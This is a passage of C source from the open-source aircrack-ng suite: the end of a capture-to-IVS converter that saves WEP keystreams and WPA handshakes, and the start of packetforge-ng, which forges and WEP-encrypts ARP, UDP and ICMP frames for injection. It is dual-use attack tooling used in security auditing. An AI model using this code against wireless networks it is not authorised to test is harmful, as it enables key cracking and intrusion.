IVS2_XOR; ivs2.len += clen + 4; /* reveal keystream (plain^encrypted) */ for(n=0; n<(ivs2.len-4); n++) { clear[n] = (clear[n] ^ h80211[z+4+n]) & 0xFF; } //clear is now the keystream } else { //do it again to get it 2 bytes higher num_xor = known_clear(clear+2, &clen, weight, h80211, dlen); ivs2.flags |= IVS2_PTW; //len = 4(iv+idx) + 1(num of keystreams) + 1(len per keystream) + 32*num_xor + 16*sizeof(int)(weight[16]) ivs2.len += 4 + 1 + 1 + 32*num_xor + 16*sizeof(int); clear[0] = num_xor; clear[1] = clen; /* reveal keystream (plain^encrypted) */ for(o=0; obssid, 6 ) != 0 ) { ivs2.flags |= IVS2_BSSID; ivs2.len += 6; memcpy( G.prev_bssid, ap_cur->bssid, 6 ); } if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); return( 1 ); } if( ivs2.flags & IVS2_BSSID ) { if( fwrite( ap_cur->bssid, 1, 6, G.f_ivs ) != (size_t) 6 ) { perror( "fwrite(IV bssid) failed" ); return( 1 ); } ivs2.len -= 6; } if( fwrite( h80211+z, 1, 4, G.f_ivs ) != (size_t) 4 ) { perror( "fwrite(IV iv+idx) failed" ); return( 1 ); } ivs2.len -= 4; if( fwrite( clear, 1, ivs2.len, G.f_ivs ) != (size_t) ivs2.len ) { perror( "fwrite(IV keystream) failed" ); return( 1 ); } } uniqueiv_mark( ap_cur->uiv_root, &h80211[z] ); return IVS; } } z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if( z + 26 > caplen ) return FAILURE; z += 6; //skip LLC header /* check ethertype == EAPOL */ if( h80211[z] == 0x88 && h80211[z + 1] == 0x8E && (h80211[1] & 0x40) != 0x40 ) { z += 2; //skip ethertype if( st_cur == NULL ) return FAILURE; /* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */ if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) == 0 && ( h80211[z + 6] & 0x80 ) != 0 && ( h80211[z + 5] & 0x01 ) == 0 ) { memcpy( st_cur->wpa.anonce, &h80211[z + 17], 32 ); st_cur->wpa.state = 1; } /* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */ if( z+17+32 > caplen ) return FAILURE; if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) == 0 && ( h80211[z + 6] & 0x80 ) == 0 && ( h80211[z + 5] & 0x01 ) != 0 ) { if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 ) { memcpy( st_cur->wpa.snonce, &h80211[z + 17], 32 ); st_cur->wpa.state |= 2; } } /* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */ if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) != 0 && ( h80211[z + 6] & 0x80 ) != 0 && ( h80211[z + 5] & 0x01 ) != 0 ) { st_cur->wpa.eapol_size = ( h80211[z + 2] << 8 ) + h80211[z + 3] + 4; if (st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol_size) || caplen - z < st_cur->wpa.eapol_size) { // ignore packet trying to crash us st_cur->wpa.eapol_size = 0; return 0; } if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 ) { memcpy( st_cur->wpa.anonce, &h80211[z + 17], 32 ); st_cur->wpa.state |= 4; } memcpy( st_cur->wpa.keymic, &h80211[z + 81], 16 ); memcpy( st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size ); memset( st_cur->wpa.eapol + 81, 0, 16 ); st_cur->wpa.state |= 8; st_cur->wpa.keyver = h80211[z + 6] & 7; if( st_cur->wpa.state == 15) { memcpy( st_cur->wpa.stmac, st_cur->stmac, 6 ); if( G.f_ivs != NULL ) { memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); ivs2.flags = 0; ivs2.len = 0; ivs2.len= sizeof(struct WPA_hdsk); ivs2.flags |= IVS2_WPA; if( memcmp( G.prev_bssid, ap_cur->bssid, 6 ) != 0 ) { ivs2.flags |= IVS2_BSSID; ivs2.len += 6; memcpy( G.prev_bssid, ap_cur->bssid, 6 ); } if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); return( 1 ); } if( ivs2.flags & IVS2_BSSID ) { if( fwrite( ap_cur->bssid, 1, 6, G.f_ivs ) != (size_t) 6 ) { perror( "fwrite(IV bssid) failed" ); return( 1 ); } ivs2.len -= 6; } if( fwrite( &(st_cur->wpa), 1, sizeof(struct WPA_hdsk), G.f_ivs ) != (size_t) sizeof(struct WPA_hdsk) ) { perror( "fwrite(IV wpa_hdsk) failed" ); return( 1 ); } return WPA; } } } } } return( 0 ); } int main( int argc, char *argv[] ) { time_t tt; int n, unused, ret; FILE *f_in; unsigned long nbr; unsigned long nbivs; unsigned char *h80211; unsigned char bssid_cur[6]; unsigned char bssid_prv[6]; unsigned char buffer[65536]; struct pcap_file_header pfh; struct pcap_pkthdr pkh; struct ivs2_filehdr fivs2; if( argc < 4 ) { usage(0); return( 1 ); } if (strcmp(argv[1],"--merge")==0) { return merge(argc,argv); } if (strcmp(argv[1],"--convert")) { usage(1); return( 1 ); } memset( bssid_cur, 0, 6 ); memset( bssid_prv, 0, 6 ); /* check the input pcap file */ printf( "Opening %s\n", argv[2] ); if( ( f_in = fopen( argv[2], "rb" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } n = sizeof( pfh ); if( fread( &pfh, 1, n, f_in ) != (size_t) n ) { perror( "fread(pcap file header) failed" ); return( 1 ); } if( pfh.magic != TCPDUMP_MAGIC && pfh.magic != TCPDUMP_CIGAM ) { printf( "\"%s\" isn't a pcap file (expected " "TCPDUMP_MAGIC).\n", argv[2] ); return( 1 ); } if( pfh.magic == TCPDUMP_CIGAM ) SWAP32( pfh.linktype ); if( pfh.linktype != LINKTYPE_IEEE802_11 && pfh.linktype != LINKTYPE_PRISM_HEADER && pfh.linktype != LINKTYPE_RADIOTAP_HDR && pfh.linktype != LINKTYPE_PPI_HDR ) { printf( "\"%s\" isn't a regular 802.11 " "(wireless) capture.\n", argv[2] ); return( 1 ); } /* create the output ivs file */ printf( "Creating %s\n", argv[3] ); if( ( G.f_ivs = fopen( argv[3], "wb+" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } fivs2.version = IVS2_VERSION; unused = fwrite( IVS2_MAGIC, 4, 1, G.f_ivs ); unused = fwrite( &fivs2, sizeof(struct ivs2_filehdr), 1, G.f_ivs ); nbr = 0; tt = time( NULL ) - 1; nbivs = 0; while( 1 ) { if( time( NULL ) - tt > 0 ) { printf( "\33[KRead %ld packets...\r", nbr ); fflush( stdout ); tt = time( NULL ); } /* read one packet */ n = sizeof( pkh ); if( fread( &pkh, 1, n, f_in ) != (size_t) n ) break; if( pfh.magic == TCPDUMP_CIGAM ) { SWAP32( pkh.caplen ); SWAP32( pkh.len ); } n = pkh.caplen; if( n <= 0 || n > 65535 ) { printf( "Corrupted file? Invalid packet length: %d.\n", n ); return( 1 ); } if( fread( buffer, 1, n, f_in ) != (size_t) n ) break; ++nbr; h80211 = buffer; /* remove any prism/radiotap header */ if( pfh.linktype == LINKTYPE_PRISM_HEADER ) { if( h80211[7] == 0x40 ) n = 64; else { n = *(int *)( h80211 + 4 ); if( pfh.magic == TCPDUMP_CIGAM ) SWAP32( n ); } if( n < 8 || n >= (int) pkh.caplen ) continue; h80211 += n; pkh.caplen -= n; } if( pfh.linktype == LINKTYPE_RADIOTAP_HDR ) { n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) pkh.caplen ) continue; h80211 += n; pkh.caplen -= n; } if( pfh.linktype == LINKTYPE_PPI_HDR ) { /* Remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) pkh.caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) pkh.caplen ) continue; h80211 += n; pkh.caplen -= n; } ret = dump_add_packet(h80211, pkh.caplen); if(ret == IVS) ++nbivs; } fclose( f_in ); fclose( G.f_ivs ); printf( "\33[2KRead %ld packets.\n", nbr ); if ( nbivs > 0 ) printf( "Written %ld IVs.\n", nbivs); else { remove ( argv[3] ); puts("No IVs written"); } return( 0 ); } aircrack-ng-1.2-rc4/src/packetforge-ng.c0000644000000000000000000011330512660207441016555 0ustar rootroot/* * 802.11 ARP-request WEP packet forgery * UDP, ICMP and custom packet forging developped by Martin Beck * * Copyright (C) 2006-2016 Thomas d'Otreppe * Copyright (C) 2004, 2005 Christophe Devine (arpforge) * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include #include #include #include #include #include #include "version.h" #include "pcap.h" #include "crypto.h" #include "osdep/byteorder.h" #include "common.h" #define ARP_REQ \ "\x08\x00\x02\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xFF\xFF\xFF\xFF\xFF\xFF\x80\x01\xAA\xAA\x03\x00" \ "\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x01\xCC\xCC\xCC\xCC" \ "\xCC\xCC\x11\x11\x11\x11\x00\x00\x00\x00\x00\x00\x22\x22\x22\x22" \ "\x00\x00\x00\x00\x00\x00\x00\x00" #define UDP_PACKET \ "\x08\x00\x00\x00\xDD\xDD\xDD\xDD\xDD\xDD\xBB\xBB\xBB\xBB\xBB\xBB" \ "\xCC\xCC\xCC\xCC\xCC\xCC\xE0\x32\xAA\xAA\x03\x00\x00\x00\x08\x00" \ "\x45\x00\x00\x1D\x00\x00\x40\x00\x40\x11\x00\x00\xC3\xBE\x8E\x74" \ "\xC1\x16\x02\x01\x83\x86\x86\x29\x00\x00\x00\x00\x05" #define ICMP_PACKET \ "\x08\x00\x00\x00\xDD\xDD\xDD\xDD\xDD\xDD\xBB\xBB\xBB\xBB\xBB\xBB" \ "\xCC\xCC\xCC\xCC\xCC\xCC\xE0\x32\xAA\xAA\x03\x00\x00\x00\x08\x00" \ "\x45\x00\x00\x1C\x00\x00\x40\x00\x40\x01\x00\x00\xC3\xBE\x8E\x74" \ "\xC1\x16\x02\x01\x08\x00\x83\xDC\x74\x22\x00\x01" #define NULL_PACKET \ "\x08\x00\x00\x00\xDD\xDD\xDD\xDD\xDD\xDD\xBB\xBB\xBB\xBB\xBB\xBB" \ "\xCC\xCC\xCC\xCC\xCC\xCC\xE0\x32" extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); extern int getmac(char * macAddress, int strict, unsigned char * mac); extern int add_crc32(unsigned char* data, int length); char usage[] = "\n" " %s - (C) 2006-2015 Thomas d\'Otreppe\n" " Original work: Martin Beck\n" " http://www.aircrack-ng.org\n" "\n" " Usage: packetforge-ng \n" "\n" " Forge options:\n" "\n" " -p : set frame control word (hex)\n" " -a : set Access Point MAC address\n" " -c : set Destination MAC address\n" " -h : set Source MAC address\n" " -j : set FromDS bit\n" " -o : clear ToDS bit\n" " -e : disables WEP encryption\n" " -k : set Destination IP [Port]\n" " -l : set Source IP [Port]\n" " -t ttl : set Time To Live\n" " -w : write packet to this pcap file\n" " -s : specify size of null packet\n" " -n : set number of packets to generate\n" "\n" " Source options:\n" "\n" " -r : read packet from this raw file\n" " -y : read PRGA from this file\n" "\n" " Modes:\n" "\n" " --arp : forge an ARP packet (-0)\n" " --udp : forge an UDP packet (-1)\n" " --icmp : forge an ICMP packet (-2)\n" " --null : build a null packet (-3)\n" " --custom : build a custom packet (-9)\n" "\n" " --help : Displays this usage screen\n" "\n"; struct options { unsigned char bssid[6]; unsigned char dmac[6]; unsigned char smac[6]; unsigned char dip[4]; unsigned char sip[4]; unsigned char fctrl[2]; unsigned char *prga; char *cap_out; char *raw_file; int mode; int pktlen; int prgalen; int ttl; int size; unsigned short sport; unsigned short dport; char tods; char fromds; char encrypt; FILE* ivs2; unsigned char prev_bssid[6]; int first_packet; int num_packets; } opt; struct devices { int fd_in, arptype_in; int fd_out, arptype_out; int fd_rtc; FILE *f_cap_in; struct pcap_file_header pfh_in; } dev; unsigned char h80211[2048]; unsigned char tmpbuf[2048]; int capture_ask_packet( int *caplen ) { time_t tr; struct timeval tv; long nb_pkt_read; int i, j, n, mi_b, mi_s, mi_d; int ret; struct pcap_pkthdr pkh; tr = time( NULL ); nb_pkt_read = 0; if(opt.raw_file == NULL) { printf("Please specify an input file (-r).\n"); return 1; } while( 1 ) { if( time( NULL ) - tr > 0 ) { tr = time( NULL ); printf( "\rRead %ld packets...\r", nb_pkt_read ); fflush( stdout ); } /* there are no hidden backdoors in this source code */ n = sizeof( pkh ); if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 ) { printf( "\r\33[KEnd of file.\n" ); return( 1 ); } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) { SWAP32( pkh.caplen ); SWAP32( pkh.len ); } tv.tv_sec = pkh.tv_sec; tv.tv_usec = pkh.tv_usec; n = *caplen = pkh.caplen; if( n <= 0 || n > (int) sizeof( h80211 ) ) { printf( "\r\33[KInvalid packet length %d.\n", n ); return( 1 ); } if( fread( h80211, n, 1, dev.f_cap_in ) != 1 ) { printf( "\r\33[KEnd of file.\n" ); return( 1 ); } if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER ) { if( h80211[7] == 0x40 ) n = 64; else n = *(int *)( h80211 + 4 ); if( n < 8 || n >= (int) *caplen ) continue; memcpy( tmpbuf, h80211, *caplen ); *caplen -= n; memcpy( h80211, tmpbuf + n, *caplen ); } if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) *caplen ) continue; memcpy( tmpbuf, h80211, *caplen ); *caplen -= n; memcpy( h80211, tmpbuf + n, *caplen ); } if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR ) { /* remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) *caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) *caplen ) continue; memcpy( tmpbuf, h80211, *caplen ); *caplen -= n; memcpy( h80211, tmpbuf + n, *caplen ); } nb_pkt_read++; switch( h80211[1] & 3 ) { case 0: mi_b = 16; mi_s = 10; mi_d = 4; break; case 1: mi_b = 4; mi_s = 10; mi_d = 16; break; case 2: mi_b = 10; mi_s = 16; mi_d = 4; break; default: mi_b = 10; mi_d = 16; mi_s = 24; break; } printf( "\n\n Size: %d, FromDS: %d, ToDS: %d", *caplen, ( h80211[1] & 2 ) >> 1, ( h80211[1] & 1 ) ); if( ( h80211[0] & 0x0C ) == 8 && ( h80211[1] & 0x40 ) != 0 ) { if( ( h80211[27] & 0x20 ) == 0 ) printf( " (WEP)" ); else printf( " (WPA)" ); } printf( "\n\n" ); printf( " BSSID = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_b ], h80211[mi_b + 1], h80211[mi_b + 2], h80211[mi_b + 3], h80211[mi_b + 4], h80211[mi_b + 5] ); printf( " Dest. MAC = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_d ], h80211[mi_d + 1], h80211[mi_d + 2], h80211[mi_d + 3], h80211[mi_d + 4], h80211[mi_d + 5] ); printf( " Source MAC = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_s ], h80211[mi_s + 1], h80211[mi_s + 2], h80211[mi_s + 3], h80211[mi_s + 4], h80211[mi_s + 5] ); /* print a hex dump of the packet */ for( i = 0; i < *caplen; i++ ) { if( ( i & 15 ) == 0 ) { if( i == 224 ) { printf( "\n --- CUT ---" ); break; } printf( "\n 0x%04x: ", i ); } printf( "%02x", h80211[i] ); if( ( i & 1 ) != 0 ) printf( " " ); if( i == *caplen - 1 && ( ( i + 1 ) & 15 ) != 0 ) { for( j = ( ( i + 1 ) & 15 ); j < 16; j++ ) { printf( " " ); if( ( j & 1 ) != 0 ) printf( " " ); } printf( " " ); for( j = 16 - ( ( i + 1 ) & 15 ); j < 16; j++ ) printf( "%c", ( h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 126 ) ? '.' : h80211[i - 15 + j] ); } if( i > 0 && ( ( i + 1 ) & 15 ) == 0 ) { printf( " " ); for( j = 0; j < 16; j++ ) printf( "%c", ( h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 127 ) ? '.' : h80211[i - 15 + j] ); } } printf( "\n\nUse this packet ? " ); fflush( stdout ); ret=0; while(!ret) ret = scanf( "%s", tmpbuf ); printf( "\n" ); if( tmpbuf[0] == 'y' || tmpbuf[0] == 'Y' ) break; } return( 0 ); } int packet_dump(unsigned char* packet, int length) { int i; if(packet == NULL) return 1; if(length <= 0 || length > 2048) return 1; for(i=0; i 255 ) return( 1 ); ip[i] = n; if( ++i == 4 ) break; if( ! ( s = strchr( s, '.' ) ) ) break; s++; } if(i != 4) return 1; if( ( s = strchr( s, ':' ) ) && i == 4 ) { s++; if( sscanf( s, "%d", &n ) == 1 ) { if(n > 0 && n < 65536) *port = n; } } return( i != 4 ); } unsigned short ip_chksum(unsigned short* addr, int count) { unsigned short checksum; /* Compute Internet Checksum for "count" bytes * beginning at location "addr". */ unsigned long sum = 0; while( count > 1 ) { /* This is the inner loop */ sum += *addr; addr++; count -= 2; } /* Add left-over byte, if any */ if( count > 0 ) sum += * (unsigned char *) addr; /* Fold 32-bit sum to 16 bits */ while (sum>>16) sum = (sum & 0xffff) + (sum >> 16); checksum = ~sum; return checksum; } int set_tofromds(unsigned char* packet) { if(packet == NULL) return 1; /* set TODS,FROMDS bits */ if( ((opt.tods&1) == 1) && ((opt.fromds&1) == 1) ) { packet[1] = (packet[1] & 0xFC) | 0x03; /* set TODS=1,FROMDS=1 */ } if( ((opt.tods&1) == 1) && ((opt.fromds&1) == 0) ) { packet[1] = (packet[1] & 0xFC) | 0x01; /* set TODS=1,FROMDS=0 */ } if( ((opt.tods&1) == 0) && ((opt.fromds&1) == 1) ) { packet[1] = (packet[1] & 0xFC) | 0x02; /* set TODS=0,FROMDS=1 */ } if( ((opt.tods&1) == 0) && ((opt.fromds&1) == 0) ) { packet[1] = (packet[1] & 0xFC); /* set TODS=0,FROMDS=0 */ } return 0; } int set_bssid(unsigned char* packet) { int mi_b; if(packet == NULL) return 1; if( memcmp(opt.bssid, NULL_MAC, 6) == 0 ) { printf("Please specify a BSSID (-a).\n"); return 1; } switch( packet[1] & 3 ) { case 0: mi_b = 16; break; case 1: mi_b = 4; break; case 2: mi_b = 10; break; default: mi_b = 10; break; } /* write bssid mac */ memcpy(packet+mi_b, opt.bssid, 6); return 0; } int set_dmac(unsigned char* packet) { int mi_d; if(packet == NULL) return 1; if( memcmp(opt.dmac, NULL_MAC, 6) == 0 ) { printf("Please specify a destination MAC (-c).\n"); return 1; } switch( packet[1] & 3 ) { case 0: mi_d = 4; break; case 1: mi_d = 16; break; case 2: mi_d = 4; break; default: mi_d = 16; break; } /* write destination mac */ memcpy(packet+mi_d, opt.dmac, 6); return 0; } int set_smac(unsigned char* packet) { int mi_s; if(packet == NULL) return 1; if( memcmp(opt.smac, NULL_MAC, 6) == 0 ) { printf("Please specify a source MAC (-h).\n"); return 1; } switch( packet[1] & 3 ) { case 0: mi_s = 10; break; case 1: mi_s = 10; break; case 2: mi_s = 16; break; default: mi_s = 24; break; } /* write source mac */ memcpy(packet+mi_s, opt.smac, 6); return 0; } /* offset for ip&&udp = 48, for arp = 56 */ int set_dip(unsigned char* packet, int offset) { if(packet == NULL) return 1; if(offset < 0 || offset > 2046) return 1; if( memcmp(opt.dip, NULL_MAC, 4) == 0 ) { printf("Please specify a destination IP (-k).\n"); return 1; } /* set destination IP */ memcpy(packet+offset, opt.dip, 4); return 0; } /* offset for ip&&udp = 44, for arp = 46 */ int set_sip(unsigned char* packet, int offset) { if(packet == NULL) return 1; if(offset < 0 || offset > 2046) return 1; if( memcmp(opt.sip, NULL_MAC, 4) == 0 ) { printf("Please specify a source IP (-l).\n"); return 1; } /* set source IP */ memcpy(packet+offset, opt.sip, 4); return 0; } int set_ipid(unsigned char* packet, int offset) { unsigned short id; if(packet == NULL) return 1; if(offset < 0 || offset > 2046) return 1; id = (rand()&0xFFFF); /* set IP Identification */ memcpy(packet+offset, (unsigned char*)&id , 2); return 0; } int set_dport(unsigned char* packet) { unsigned short port; if(packet == NULL) return 1; port = ((opt.dport >> 8) & 0xFF) + ((opt.dport << 8) & 0xFF00); memcpy(packet+54, &port, 2); return 0; } int set_sport(unsigned char* packet) { unsigned short port; if(packet == NULL) return 1; port = ((opt.sport >> 8) & 0xFF) + ((opt.sport << 8) & 0xFF00); memcpy(packet+52, &port, 2); return 0; } int set_ip_ttl(unsigned char* packet) { unsigned char ttl; if(packet == NULL) return 1; ttl = opt.ttl; memcpy(packet+40, &ttl, 1); return 0; } int set_IVidx(unsigned char* packet) { if(packet == NULL) return 1; if(opt.prga == NULL) { printf("Please specify a PRGA file (-y).\n"); return 1; } /* insert IV+index */ memcpy(packet+24, opt.prga, 4); return 0; } int next_keystream(unsigned char *dest, int size, unsigned char *bssid, int minlen) { struct ivs2_pkthdr ivs2; char *buffer; int gotit=0; if(opt.ivs2 == NULL) return -1; if(minlen > size+4) return -1; while( fread( &ivs2, sizeof(struct ivs2_pkthdr), 1, opt.ivs2 ) == 1 ) { if(ivs2.flags & IVS2_BSSID) { if ( (int) fread( opt.prev_bssid, 6, 1, opt.ivs2) != 1) return -1; ivs2.len -= 6; } if(ivs2.len == 0) continue; buffer = (char*) malloc( ivs2.len ); if(buffer == NULL) return -1; if( (int) fread( buffer, ivs2.len, 1, opt.ivs2 ) != 1) { free(buffer); return -1; } if( memcmp(bssid, opt.prev_bssid, 6) != 0 ) { free(buffer); continue; } if( (ivs2.flags & IVS2_XOR) && ivs2.len >= (minlen+4) && !gotit) { if(size >= ivs2.len) { memcpy(dest, buffer, ivs2.len); opt.prgalen = ivs2.len; } else { memcpy(dest, buffer, size); opt.prgalen = size; } gotit=1; } free(buffer); if(gotit) return 0; } if(feof( opt.ivs2 )) { fseek( opt.ivs2, sizeof(IVS2_MAGIC)+sizeof(struct ivs2_filehdr) -1, SEEK_SET); return 1; } return -1; } int encrypt_data(unsigned char *dest, unsigned char* data, int length) { unsigned char cipher[2048]; int n; if(dest == NULL) return 1; if(data == NULL) return 1; if(length < 1 || length > 2044) return 1; if(opt.prga == NULL && opt.ivs2 == NULL) { printf("Please specify a XOR or %s file (-y).\n", IVS2_EXTENSION); return 1; } if( opt.ivs2 != NULL ) { n = next_keystream(opt.prga, 1500, opt.bssid, length); if(n < 0) { printf("Error getting keystream.\n"); return 1; } if(n==1) { if(opt.first_packet == 1) { printf("Error no keystream in %s file is long enough (%d).\n", IVS2_EXTENSION, length); return 1; } else n = next_keystream(opt.prga, 1500, opt.bssid, length); } } if(opt.prgalen-4 < length) { printf("Please specify a longer PRGA file (-y) with at least %i bytes.\n", (length+4)); return 1; } /* encrypt data */ for(n=0; n= 2048) return 1; f = fopen(srcfile, "rb"); if(f == NULL) { perror("fopen failed."); return 1; } readblock = fread(dest, (size_t)1, (size_t)length, f); if(readblock != (size_t)length) { perror("fread failed"); fclose(f); return 1; } fclose(f); return 0; } int write_cap_packet(unsigned char* packet, int length) { FILE *f; struct pcap_file_header pfh; struct pcap_pkthdr pkh; struct timeval tv; int n; if( opt.cap_out == NULL ) { printf("Please specify an output file (-w).\n"); return 1; } if(opt.first_packet) { if( ( f = fopen( opt.cap_out, "wb+" ) ) == NULL ) { fprintf( stderr, "failed: fopen(%s,wb+)\n", opt.cap_out ); return( 1 ); } pfh.magic = TCPDUMP_MAGIC; pfh.version_major = PCAP_VERSION_MAJOR; pfh.version_minor = PCAP_VERSION_MINOR; pfh.thiszone = 0; pfh.sigfigs = 0; pfh.snaplen = 65535; pfh.linktype = LINKTYPE_IEEE802_11; n = sizeof( struct pcap_file_header ); if( fwrite( &pfh, 1, n, f ) != (size_t) n ) { fprintf( stderr, "failed: fwrite(pcap file header)\n" ); fclose( f ); return( 1 ); } } else { if( ( f = fopen( opt.cap_out, "ab+" ) ) == NULL ) { fprintf( stderr, "failed: fopen(%s,ab+)\n", opt.cap_out ); return( 1 ); } } gettimeofday( &tv, NULL ); pkh.tv_sec = tv.tv_sec; pkh.tv_usec = tv.tv_usec; pkh.len = length; pkh.caplen = length; n = sizeof( pkh ); if( fwrite( &pkh, 1, n, f ) != (size_t) n ) { fprintf( stderr, "fwrite(packet header) failed\n" ); fclose( f ); return( 1 ); } n = length; if( fwrite( packet, 1, n, f ) != (size_t) n ) { fprintf( stderr, "fwrite(packet data) failed\n"); fclose( f ); return( 1 ); } fclose( f ); if(opt.first_packet) opt.first_packet = 0; return 0; } int read_prga(unsigned char **dest, char *file) { FILE *f; int size; struct ivs2_filehdr fivs2; if(file == NULL) return( 1 ); if(*dest == NULL) *dest = (unsigned char*) malloc(1501); if( memcmp( file+(strlen(file)-4), ".xor", 4 ) != 0 && memcmp( file+(strlen(file)-4), "."IVS2_EXTENSION, 4 ) != 0 ) { printf("Is this really a PRGA file: %s?\n", file); } f = fopen(file, "rb"); if(f == NULL) { printf("Error opening %s\n", file); return( 1 ); } fseek(f, 0, SEEK_END); size = (int)ftell(f); rewind(f); if(size > 1500) size = 1500; if( (int)fread( (*dest), size, 1, f ) != 1 ) { fprintf( stderr, "fread failed\n" ); fclose( f ); return( 1 ); } if( memcmp((*dest), IVS2_MAGIC, 4 ) == 0 ) { if( (unsigned) size < sizeof(struct ivs2_filehdr) + 4) { fprintf( stderr, "No valid %s file.", IVS2_EXTENSION); fclose( f ); return( 1 ); } memcpy( &fivs2, (*dest) + 4, sizeof(struct ivs2_filehdr)); if(fivs2.version > IVS2_VERSION) { printf( "Error, wrong %s version: %d. Supported up to version %d.\n", IVS2_EXTENSION, fivs2.version, IVS2_VERSION ); } opt.ivs2 = f; fseek(f, sizeof(IVS2_MAGIC)+sizeof(struct ivs2_filehdr)-1, SEEK_SET); } else { //assuming old xor file if( (*dest)[3] > 0x03 ) { printf("Are you really sure that this is a valid keystream? Because the index is out of range (0-3): %02X\n", (*dest)[3] ); } opt.prgalen = size; fclose( f ); } return( 0 ); } int forge_arp() { /* use arp request */ opt.pktlen = 60; memcpy( h80211, ARP_REQ, opt.pktlen ); memcpy( opt.dmac, "\xFF\xFF\xFF\xFF\xFF\xFF", 6 ); if( set_tofromds(h80211) != 0 ) return 1; if( set_bssid(h80211) != 0 ) return 1; if( set_smac(h80211) != 0 ) return 1; if( set_dmac(h80211) != 0 ) return 1; memcpy( h80211 + 40, opt.smac, 6 ); if( set_dip(h80211, 56) != 0 ) return 1; if( set_sip(h80211, 46) != 0 ) return 1; return 0; } int forge_udp() { unsigned short chksum; opt.pktlen = 61; memcpy(h80211, UDP_PACKET, opt.pktlen); if( set_tofromds(h80211) != 0 ) return 1; if( set_bssid(h80211) != 0 ) return 1; if( set_smac(h80211) != 0 ) return 1; if( set_dmac(h80211) != 0 ) return 1; if( set_dip(h80211, 48) != 0 ) return 1; if( set_sip(h80211, 44) != 0 ) return 1; if( opt.ttl != -1 ) if( set_ip_ttl(h80211) != 0 ) return 1; if( set_ipid(h80211, 36) != 0 ) return 1; /* set udp length */ h80211[57] = '\x09'; /* generate + set ip checksum */ chksum = ip_chksum((unsigned short*)(h80211+32), 20); memcpy(h80211+42, &chksum, 2); return 0; } int forge_icmp() { unsigned short chksum; opt.pktlen = 60; memcpy(h80211, ICMP_PACKET, opt.pktlen); if(memcmp(opt.dmac, NULL_MAC, 6) == 0) { memcpy( opt.dmac, "\xFF\xFF\xFF\xFF\xFF\xFF", 6 ); } if( set_tofromds(h80211) != 0 ) return 1; if( set_bssid(h80211) != 0 ) return 1; if( set_smac(h80211) != 0 ) return 1; if( set_dmac(h80211) != 0 ) return 1; if( set_dip(h80211, 48) != 0 ) return 1; if( set_sip(h80211, 44) != 0 ) return 1; if( opt.ttl != -1 ) if( set_ip_ttl(h80211) != 0 ) return 1; if( set_ipid(h80211, 36) != 0 ) return 1; /* generate + set ip checksum */ chksum = ip_chksum((unsigned short*)(h80211+32), 20); memcpy(h80211+42, &chksum, 2); return 0; } int forge_null() { opt.pktlen = opt.size; memcpy(h80211, NULL_PACKET, 24); memset(h80211+24, '\0', (opt.pktlen - 24)); if(memcmp(opt.dmac, NULL_MAC, 6) == 0) { memcpy( opt.dmac, "\xFF\xFF\xFF\xFF\xFF\xFF", 6 ); } if( set_tofromds(h80211) != 0 ) return 1; if( set_bssid(h80211) != 0 ) return 1; if( set_smac(h80211) != 